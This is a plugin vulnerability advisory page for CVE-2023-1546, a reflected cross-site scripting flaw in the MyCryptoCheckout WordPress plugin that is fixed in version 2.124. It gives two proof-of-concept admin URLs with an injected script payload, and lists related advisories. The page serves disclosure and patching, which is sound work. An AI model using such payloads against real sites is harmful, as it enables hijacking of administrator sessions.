MyCryptoCheckout < 2.124 – Reflected XSS | CVE 2023-1546 | Plugin Vulnerabilities

Description

The plugin does not escape some URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting

Proof of Concept

Make a logged in admin open one of the URL below

v < 2.124- https://example.com/wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&"><script>alert(/XSS/)</script> (will trigger when there is at least one Autosettlements)

v < 2.122 - https://example.com/wp-admin/options-general.php?page=mycryptocheckout&"><script>alert('XSS')</script>

Affects Plugins

mycryptocheckout

Fixed in 2.124

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Pablo Sanchez

Submitter

Pablo Sanchez

Verified

Yes

WPVDB ID

bb065397-370f-4ee1-a2c8-20e4dc4415a0

Timeline

Publicly Published

2023-04-06 (about 2 years ago)

Added

2023-04-06 (about 2 years ago)

Last Updated

2023-04-06 (about 2 years ago)

Other

Published

Title

Published

2024-11-13

Title

Full Screen (Page) Background Image Slideshow <= 1.1 - Admin+ Stored XSS

Published

2024-09-27

Title

Hubbub Lite < 1.34.4 - Admin+ Stored XSS

Published

2021-02-08

Title

Extra Charges To Payment Gateway For WooCommerce <= 2.0.2.1 - Unauthorised Arbitrary Plugin Settings Change to Stored XSS

Published

2024-06-24

Title

WordPress Core < 6.5.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Template Part Block

Published

2023-01-23

Title

Social Like Box and Page by WpDevArt < 0.8.41 - Contributor+ Stored XSS